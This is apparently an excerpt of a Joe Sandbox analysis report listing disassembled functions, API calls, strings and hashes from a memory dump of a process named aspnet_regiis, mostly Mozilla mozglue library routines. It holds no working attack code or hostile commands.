Part of subcall function 6C7CFA80: GetCurrentThreadId.KERNEL32 ref: 6C7CFA8D
Part of subcall function 6C7CFA80: AcquireSRWLockExclusive.KERNEL32(6C81F448), ref: 6C7CFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7D6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C7D67C8

Part of subcall function 6C7E4290: memcpy.VCRUNTIME140(?,?,6C7F2003,6C7F0AD9,?,6C7F0AD9,00000000,?,6C7F0AD9,?,00000004,?,6C7F1A62,?,6C7F2003,?), ref: 6C7E42C4

Strings

data, xrefs: 6C7D6593

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: bddff6b76d2220ea69f2a306371ab0660cf95b0c07a6a1207f2d2fe843c29953
Instruction ID: eda6aa1d2a8ef6e6d9e0f90101cf8e6c016e88af8d12ea5f613af4987a63aeab
Opcode Fuzzy Hash: bddff6b76d2220ea69f2a306371ab0660cf95b0c07a6a1207f2d2fe843c29953
Instruction Fuzzy Hash: AED1D075A083418FD724CF24CA49B9FB7E5AFD5308F108D2EE58987B51DB30A949CB92

Function 6C7CF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C7CF480

Part of subcall function 6C79F100: LoadLibraryW.KERNEL32(shell32,?,6C80D020), ref: 6C79F122
Part of subcall function 6C79F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C79F132

CloseHandle.KERNEL32(00000000), ref: 6C7CF555

Part of subcall function 6C7A14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C7A1248,6C7A1248,?), ref: 6C7A14C9
Part of subcall function 6C7A14B0: memcpy.VCRUNTIME140(?,6C7A1248,00000000,?,6C7A1248,?), ref: 6C7A14EF

Part of subcall function 6C79EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C79EEE3

CreateFileW.KERNEL32 ref: 6C7CF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C7CF523

Strings

\oleacc.dll, xrefs: 6C7CF4CB

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ba102e80b17c42ffb634b6d35d0a598f03835573f5be97c74bce8095909e9ba4
Instruction ID: 94356365dac283f7867e2f601eb238319083c4f976e932ea8e4508ec38c04cc2
Opcode Fuzzy Hash: ba102e80b17c42ffb634b6d35d0a598f03835573f5be97c74bce8095909e9ba4
Instruction Fuzzy Hash: 5641B4707087119FE720DF68DA88A9BB7F4AF44318F100A2CF69583650EB30DA49CB93

Function 6C7DE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DE04F

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7DE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7DE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C7DE057

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 554bc3284c8aca6d3213ca1c96bc9de6e18cb298a01b71499f14612810854671
Instruction ID: a1276f1c1a6d6c7b9ba29b267d056351b05ce7b00d433d3912503d4e8540ec61
Opcode Fuzzy Hash: 554bc3284c8aca6d3213ca1c96bc9de6e18cb298a01b71499f14612810854671
Instruction Fuzzy Hash: 4721BE74B001098FDF059F64CA5CAAEBBB5AF8520CF254438E90AA7B41DB31B909C7E1

Function 6C7F74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C7F7526
__Init_thread_footer.LIBCMT ref: 6C7F7566
__Init_thread_footer.LIBCMT ref: 6C7F7597

Strings

UnmapViewOfFile2, xrefs: 6C7F7552
kernel32.dll, xrefs: 6C7F7557

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0ce351a4db85467a67da004cd8d0e15b95ba293e9df5a2117ba58b78815dabfc
Instruction ID: ef5f6df2b33ca3ea8655ba74aaf48a1f689768f1c6337337ad6442e26968efb1
Opcode Fuzzy Hash: 0ce351a4db85467a67da004cd8d0e15b95ba293e9df5a2117ba58b78815dabfc
Instruction Fuzzy Hash: 26210331704583ABCB258FA88A9DE5933F6EB97339B00493DE42947F40C720A802C6D2

Function 6C7FA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81F770,-00000001,?,6C80E330,?,6C7BBDF7), ref: 6C7FA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C7BBDF7), ref: 6C7FA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C7BBDF7), ref: 6C7FA7E4
LeaveCriticalSection.KERNEL32(6C81F770), ref: 6C7FA80A

Strings

accelerator.dll, xrefs: 6C7FA7BF

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: d006cdffdfdf0974cfc7742753c502be2351cb8b28d2f0d42a5eec974d072fda
Instruction ID: 0aa340f60797ff1ddb14220d432d3846543765fc8fb700af2cebf79cf3fe92d1
Opcode Fuzzy Hash: d006cdffdfdf0974cfc7742753c502be2351cb8b28d2f0d42a5eec974d072fda
Instruction Fuzzy Hash: 2501DFB07003449FAB14CF59D9C5C217BF8FB9A328700887AE8098BB01DB709800CBA1

Function 6C7FC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7FC0E9), ref: 6C7FC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C7FC437
FreeLibrary.KERNEL32(?,6C7FC0E9), ref: 6C7FC44C

Strings

ntdll.dll, xrefs: 6C7FC413
NtQueryVirtualMemory, xrefs: 6C7FC431

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b44b859badef2bc4f2ea521ae4f9066b4cbaa72bb51c98691f95e49dc0d94374
Instruction ID: d4354656f9983eb27fa308cee05153a9cf50fcb768d2f3be87a0aa39a0115edc
Opcode Fuzzy Hash: b44b859badef2bc4f2ea521ae4f9066b4cbaa72bb51c98691f95e49dc0d94374
Instruction Fuzzy Hash: A9E092B46053139BDB30AB759A0A7217FF8A75620DF004A36AA18D2F10EBB0D012CA90

Function 6C7F75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7F748B,?), ref: 6C7F75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C7F75D7
FreeLibrary.KERNEL32(?,6C7F748B,?), ref: 6C7F75EC

Strings

RtlNtStatusToDosError, xrefs: 6C7F75D1
ntdll.dll, xrefs: 6C7F75B3

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 101e447fefcafa44e3a86cc91004d09219505d5c2354e6f5eca2c1616ae0b6dd
Instruction ID: 4137a3056a0593b80eda841fb06a6e9c07bac7b3b068f978032fbb1fb4e50d3c
Opcode Fuzzy Hash: 101e447fefcafa44e3a86cc91004d09219505d5c2354e6f5eca2c1616ae0b6dd
Instruction Fuzzy Hash: F2E09AB1604343ABDB219BA2D98A7117AF8E75721CF108835A915D2F10DB749092CF90

Function 6C7F7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7F7592), ref: 6C7F7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C7F7627
FreeLibrary.KERNEL32(?,6C7F7592), ref: 6C7F763C

Strings

ntdll.dll, xrefs: 6C7F7603
NtUnmapViewOfSection, xrefs: 6C7F7621

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 41b484e7e23f03c6f99e599a7868c2a56339125611bcb4135f8136fda495c2c9
Instruction ID: 858ca1499b1c217db6744c943d3a4d74dc1c6b8e27905efb82da5c65f3661c1c
Opcode Fuzzy Hash: 41b484e7e23f03c6f99e599a7868c2a56339125611bcb4135f8136fda495c2c9
Instruction Fuzzy Hash: F5E09AB06047839BDF215FE6994A7157AF8E76735DF008935E909D2F10D7709051CB94

Function 6C7FBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C7FBE49), ref: 6C7FBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C7FBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C7FBE49), ref: 6C7FBF38
RtlReAllocateHeap.NTDLL ref: 6C7FBF83
RtlFreeHeap.NTDLL ref: 6C7FBFA6

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 6abb8d38cdfd5d9679ba322c35cf3bc57a227df297a7b4c65f2eed7e5b100f28
Instruction ID: a114ff74839e69c59a798c7fc060f82a99634305db92ebb26c2844fa96f51872
Opcode Fuzzy Hash: 6abb8d38cdfd5d9679ba322c35cf3bc57a227df297a7b4c65f2eed7e5b100f28
Instruction Fuzzy Hash: 71517071A002058FE714CF69CEC0BAAB7A6FF84314F298639D525A7B55D730F9078B91

Function 6C7E8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8EBF
free.MOZGLUE(?,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8F46
free.MOZGLUE(?,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F8F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 282f7f30398015b8b2cf74a96ff423f471592cc2b289753a25643e737bf09700
Instruction ID: bc75c9114ef722e644473d0f0ff3fa86a188b83859840370eaeae26d5faf38a7
Opcode Fuzzy Hash: 282f7f30398015b8b2cf74a96ff423f471592cc2b289753a25643e737bf09700
Instruction Fuzzy Hash: B151B4B2A012168FEB15CF68D98076E73B6FF48318F25057AD916AB741E731F904CB91

Function 6C7E27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E289A
free.MOZGLUE(?,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E2910
free.MOZGLUE(00000001,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E294E

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b332d20fc3609d8975c57f223f29f6d06ecc3e67f65b359c70bbd8bc1f7d9bc2
Instruction ID: b68df6335f87a5b68caa92ddb505b2c83c4773b3861d3204d5636a9069d47786
Opcode Fuzzy Hash: b332d20fc3609d8975c57f223f29f6d06ecc3e67f65b359c70bbd8bc1f7d9bc2
Instruction Fuzzy Hash: B74160B2A002078FEB14CF68D98876A77F6AB49308F250939D556EBB41E771E904CB91

Function 6C79CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C79D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C79D139

Strings

MOZ_CRASH(), xrefs: 6C79D187

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 52b62c10bdbb48fdb836574bfd46c65474611d08f072e3151f0ce8d9405a12ef
Instruction ID: f01bafbc65dee2770720227884a919b7cdec5d5c4cba86f6bb7e7a952fb3e459
Opcode Fuzzy Hash: 52b62c10bdbb48fdb836574bfd46c65474611d08f072e3151f0ce8d9405a12ef
Instruction Fuzzy Hash: 5941D272B402174FEB248E6C9E9A36A76F0EB5A358F150539E918E7F84D7A15C00CBC5

Function 6C794DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C794EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C794F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C794F1E

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: e34ef38202cd1ef50c181287799826a8c06d5eec44af8abbc3682408ad5c7a23
Instruction ID: 725185e0895a89fad7fe63ba5dd975e0bf723a96835e82f12de0d93e7f73fdde
Opcode Fuzzy Hash: e34ef38202cd1ef50c181287799826a8c06d5eec44af8abbc3682408ad5c7a23
Instruction Fuzzy Hash: 7A41F0716087069FC705CF28D88095BB7E9FF89344F148A2DF56697B41DB30E918DB92

Function 6C7FA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81F770), ref: 6C7FA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FA87B

Part of subcall function 6C7FA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C7FA88F,00000000), ref: 6C7FA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C7FA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FA90C
LeaveCriticalSection.KERNEL32(6C81F770), ref: 6C7FA97E

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 1b3304222bfc90e9d478fb9509e149b05bc8dd543d0f44db76e21118c3a94f8f
Instruction ID: 422c52b4c9e83ed4e0988b2d05131847a21cfac2089cb2e0a06d2c740451dac2
Opcode Fuzzy Hash: 1b3304222bfc90e9d478fb9509e149b05bc8dd543d0f44db76e21118c3a94f8f
Instruction Fuzzy Hash: 6741C6B0E002058FDB10DFA4D989BDDBBB0FF04324F108A39E825AB791D7719946CB91

Function 6C7A1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A15E7
free.MOZGLUE(?,?,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A1637

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 3c62d4d0b93764e87447ac28c1083f0093ae4ffa4e80023e69f7a985b324ef16
Instruction ID: 581f774e417116b04c7f2a99a66e14249521c623df35fb8547d2aa150b7407cf
Opcode Fuzzy Hash: 3c62d4d0b93764e87447ac28c1083f0093ae4ffa4e80023e69f7a985b324ef16
Instruction Fuzzy Hash: 87310872A00114CBD7188EB8DA5456E73E9BF853647290B2DE423DBBE5EB30D9068791

Function 6C7FAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAD9D

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE01
